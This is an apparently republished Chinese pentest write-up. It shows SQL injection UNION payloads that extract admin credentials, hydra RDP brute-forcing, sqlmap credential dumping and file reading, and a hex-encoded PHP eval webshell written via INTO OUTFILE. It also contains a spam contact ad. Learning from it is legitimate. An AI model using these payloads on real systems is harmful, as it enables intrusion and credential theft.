0X01 背景
自己之前寫過一篇記錄,當時是由于之前是一位校友剛做開發,叫我友情幫忙測驗一波,由于是開發的新手,漏洞比較多,所以直接從注入開始講起,但是到getshell的程序也算是一場峰回路轉再跌跌撞撞的路程,
0x02 注入測驗
判斷注入是否存在
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='1'
顯示資料

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='2'
顯示非原本資料

判斷存在sql注入后,通過order by 子句判斷有幾個欄位
Order by 從1開始,大概選個數逐個去嘗試,二分法是最普通的,還可以開根法,還有是方程式法,再好玩一點就動態規劃,推薦下面這篇文章,非常有趣,很好懂,
https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q
試到前一個數回傳正常,后一個報錯,就說明長度是多少了,示例如下
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 27
回傳正常

那試試payload
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 28
28回傳不正常

那么可以說明他欄位個數是27,而且后面要用到這個數字,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
第二步:聯合查詢
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
提交后,可以看到頁面中出現可以被顯示的欄位編號,我們通過在回應位置替換成我們需要的查詢欄位和表就可以了,

對應的數字就會顯示在頁面中,我把對應數字改成sql陳述句,就會得到sql查詢結果
舉例子:
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27
知識點補充:
database()查看當前資料庫
@@version查詢mysql版本
@@datadir查詢資料庫路徑
我把原來的5,15,21改成查資料庫名,mysql版本,資料路徑,就會在相應的地方顯示出來

查詢所有資料庫名:group_concat(SCHEMA_NAME)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27 from information_schema.schemata

查詢當前資料庫所有表名:group_concat(table_name)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27 from information_schema.tables where table_schema=database()

上述圖發現表名:admin,
要查詢查詢表中的欄位先把表名轉換為16進制(標黃為表名的16進制轉換值)
group_concat(column_name)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27 from information_schema.columns where table_name=0x61646D696E


發現其欄位有
user_id,username,userpassword
下一步只需要查詢username和userpassword即可
group_concat(username,0x7c,userpassword)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27 from admin

0x03 峰回路轉
到此,我們知道了知道用戶名為admin,密碼為123了
在之前已經在資訊收集的地方收集到后臺了,然后嘗試登陸,登陸成功了

登進后臺發現,是真的沒有上傳地方阿,也沒有其他包含,redis其他服務,學資訊安全的男生都不會輕易認輸,再查看之前的掃描結果,靈機一動還有一根救命稻草,3389!
nmap -Pn -v -p 3306 11X.XX.XXX.XX
Starting Nmap 7.10 ( https://nmap.org ) at 2015-04-04 22:54
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Initiating SYN Stealth Scan at 22:54
Scanning 11X.XX.XXX.XX [1000 port]
Completed SYN Stealth Scan at 22:54, 0.18s elapsed (1 total ports)
Nmap scan report for 11X.XX.XXX.XX
Host is up (0.013s latency).
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql
3389/tcp open ms-wbt-server
拿出我的字典,再拿出我的hydra,快速在pentestbox 敲下:
hydra -L F:\cybersec\usrname.txt -P F:\cybersec\ password.txt -Vv -t 1 -w 3 -W 5 11X.XX.XXX.XX rdp
結果跑了自己一個心灰意冷,毫無結果,
不過還發現開放3306埠,不是有注入嗎,直接連資料庫getshell呀
太心急想getshell不一步步手工了,sqlmap走起
查看權限
sqlmap -u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user --dbms=mysql -v 3

current user: 'root@localhost'
當前用戶是root

引發報錯找到絕對路徑+root權限那我是不是可以寫shell了
sqlmap -r C:\Users\sqlpost.txt --time-sec 3 --dbms=mysql --random-agent -D mysql -T user -C User,Password --dump

引數:--file-write,--file-dest
當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函式,上傳的檔案可以是文本也可以是二進制檔案,
命令如下:


結果去訪問,又給了自己一個心灰意冷,404

Root密碼md5丟到解密無果,,,
才沒有放棄,醒悟發覺sqlmap有個引數—file-read,發現可以下載頁面檔案
下載下來就是不是能看到資料庫連接的資訊,
sqlmap -u http://11X.XX.XXX.XX/test/sub_hack.php?id=231 --file-read "C:\\phpstudy\www\test\sub_hack.php" --dbms=mysql -v 3

舒服,原始碼到手,同時發現include資料庫連接頁面,以同樣的方法獲取資料庫連接密碼,開放3306直接連上去,

驚喜,意外

正常思路應該是這樣的
SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "C:\phpStudy\WWW\test\shell.php";
直接寫shell上去
不過在這之前我嘗試了下用他資料庫的密碼嘗試去登陸遠程桌面,又一個驚喜,熟悉的對話框,

然后就到此結束了
0x04 劃重點
后來才知道現在寫shell的函式INTO OUTFILE默認是禁用的了
MySQL在安裝時,默認的限制了檔案匯入匯出的路徑,是通過配置secure_file_priv的值來實作的
SELECT @@global.secure_file_priv;
查詢當前設定的路徑

只能通過修改組態檔來修改
0x05 文末福利
最近有需求參考寫了一個實時刪新增檔案的批處理檔案,用于對抗賽中防止對手上傳webshell的腳本上傳秒刪,只要保存為bat格式雙擊運行就ok
@echo off&Setlocal enabledelayedexpansion
REM 指定路徑
cd /d C:\Users\\Desktop\1
:clearwebshell
for /r . %%a in (*) do (REM 指定時間,超過此時間的檔案就刪 if "%%~ta" gtr "2018/06/19 21:41" echo had been delete "%%a" )
@ping nullnullnull -n 1 >nul
goto :clearwebshell
更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551384.html
標籤:其他
上一篇:一次失敗的面試經歷:我只想找個作業,你卻用面試題羞辱我
下一篇:返回列表
